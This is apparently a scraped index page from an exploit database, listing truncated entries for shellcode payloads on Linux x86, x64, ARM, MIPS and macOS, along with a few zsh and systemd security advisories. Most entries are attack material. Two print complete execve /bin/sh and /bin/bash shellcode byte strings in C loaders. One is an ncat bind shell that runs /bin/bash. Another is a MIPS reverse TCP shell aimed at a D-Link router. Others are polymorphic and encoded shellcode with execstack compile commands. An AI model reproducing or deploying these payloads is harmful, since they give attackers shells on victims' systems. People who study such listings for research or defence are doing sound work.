Linux/x86 - Polymorphic execve(/bin/sh) Shellcode (63 bytes)

/ ; Date: 09/03/2019 ; PolymorphicExecveShStack.asm ; Author: Daniele Votta ; Description: This program invoke a Polimorphic version of excve. Original ExecveShStack: file format elf32-i386 Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50 push eax 8048083: 68 2f 2f ...

openSUSE Security Update : zsh (openSUSE-2019-687)

This update for zsh to version 5.6 fixes the following security issues : - CVE-2018-0502: The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named on the second line bsc1107296. - CVE-2018-13259: Shebang lines exceeding 64 characters were truncated...

Linux/x86 - INSERTION Encoder / Decoder execve(/bin/sh) Shellcode (88 bytes)

/ ''' ; Date: 07/03/2019 ; Insertion-Encoder.asm ; Author: Daniele Votta ; Description: This program encode shellcode with insertion technique 0xAA. ; Tested on: i686 GNU/Linux ''' !/usr/bin/python Python Insertion Encoder import random Execve /bin/sh 25 bytes shellcode...

macOS execve(/bin/sh) Null Free Shellcode (31 bytes)

/ Title: macOS - execve/bin/sh + Null-Free Shellcode 31 bytes Tested: macOS 10.14.1 Author: Ken Kitahara Compilation: gcc -o loader loader.c dev:works devuser$ swvers ProductName: Mac OS X ProductVersion: 10.14.1 BuildVersion: 18B75 dev:works devuser$ cat binsh.s section .text global start start:...

SUSE SLED15 / SLES15 Security Update : zsh (SUSE-SU-2018:2686-1)

This update for zsh to version 5.6 fixes the following security issues : CVE-2018-0502: The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named on the second line bsc1107296. CVE-2018-13259: Shebang lines exceeding 64 characters were truncated,...

Linux/x86 - execve(/usr/bin/ncat -lvp 1337 -e /bin/bash)+Null-Free Shellcode (95 bytes)

/ Linux/x86-execve/usr/bin/ncat -lvp 1337 -e/bin/bash+NULL-FREE Shellcode95 bytes Author : T3jv1l Contact: email protected Twitter:https://twitter.com/T3jv1l Shellcode len : 119 bytes Compilation: gcc shellcode.c -o shellcode Compilation for x64 : gcc -m32 shellcode.c -o shellcode Tested On: Ubun...

Linux systemd Line Splitting

systemd: reexec state injection: fgets on overlong lines leads to line splitting CVE-2018-15686 I am sending this bug report to Ubuntu, even though it's an upstream bug, as requested at https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.mdsecurity-vulnerability-reports . When system...

Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes

/ Linux/x86 - execve/bin/cat /etc/ssh/sshdconfig Shellcode 44 Bytes Author: Goutham Madhwaraj Tested on: i686 GNU/Linux Shellcode Length: 44 ShoutOut - BarrierSec gcc -fno-stack-protector -z execstack loader-bind.c -o Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50...

Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)

Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes. Shellcode exploit for Linuxx86 platform Title: Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes Author: Kartik Durg Date: 201-10-04 Shellcode Length: 104 BYTES Student-ID: SLAE-1233 Write-u...

Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)

/ Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes Author: cq674350529 - execve'/bin/sh', tcp - 192.168.2.157/31337 - used in HTTP Request - tested on D-Link dir-850l router, avoid bad chars '\x00', '\x20', '\x23', '\x0d\x0a' - based on rigan's shellcode...

Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)

Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes. Shellcode exploit for LinuxMIPS platform / Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes Author: cq674350529 Date: 2018-10-07 - execve'/bin/sh', tcp -...

Linux/x86 - execve(/bin/sh) + NOT/SHIFT-N/XOR-N Encoded Shellcode (50 byes)

Linux/x86 - execve/bin/sh + NOT/SHIFT-N/XOR-N Encoded Shellcode 50 byes. Shellcode exploit for Linuxx86 platform / Title: Linux\x86 NOT +SHIFT-N+ XOR-N + encoded /bin/sh Shellcode 50 byes Author: Pedro Cabral Purpose: spawn /bin/sh shell Tested On: Ubuntu 16.04.01 LTS Arch: x86 Size: 50 bytes...

Linux/x86 - execve(/bin/sh) + NOT +SHIFT-N+ XOR-N Encoded Shellcode (50 bytes)

/ Title: Linux\x86 NOT +SHIFT-N+ XOR-N + encoded /bin/sh Shellcode 50 byes Author: Pedro Cabral Purpose: spawn /bin/sh shell Tested On: Ubuntu 16.04.01 LTS Arch: x86 Size: 50 bytes sh.asm global start section .text start: xor eax, eax ; reseting the register push eax ; pushing null terminator pus...

openSUSE Security Update : zsh (openSUSE-2018-1094)

This update for zsh to version 5.6.2 fixes the following issues : These security issues were fixed : - CVE-2018-0502: The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named on the second line bsc1107296 - CVE-2018-13259: Shebang lines exceeding 6...

Linux/x64 - execve ("/bin/bash") Shellcode (27 bytes)

Author: Artr0n Linux/x64 - Execve/bin/bash Shellcode Shellcode Lenght: 27 include include int mainvoid char shellcode = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

Linux/x64 - execve ("/bin/sh") Shellcode (24 bytes)

Linux/x64 - Execve //bin/sh Shellcode 24 bytes Usage: gcc sc.c -o sc -z execstack include include int mainvoid char shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

Linux/ARM - Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)

/ Title: Linux/ARM - Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 28 Bytes Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information pi@raspberrypi: $ uname -a Linux raspberrypi 4.14.52-v7+ 1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux pi@raspberrypi: $...

Linux/ARM - sigaction() Based Egghunter (PWN!) + execve Shellcode (52 Bytes)

/ Title: Linux/ARM - sigaction Based Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 52 Bytes Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information pi@raspberrypi: $ uname -a Linux raspberrypi 4.14.52-v7+ 1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux...

Linux/ARM - Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) + sigaction() Shellcode (52 Bytes)

Linux/ARM - Egghunter PWN! + execve"/bin/sh", NULL, NULL + sigaction Shellcode 52 Bytes. Shellcode exploit for ARM platform / Title: Linux/ARM - sigaction Based Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 52 Bytes Date: 2018-09-24 Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken...

Linux/ARM - Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)

Linux/ARM - Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 28 Bytes. Shellcode exploit for ARM platform / Title: Linux/ARM - Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 28 Bytes Date: 2018-09-24 Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information...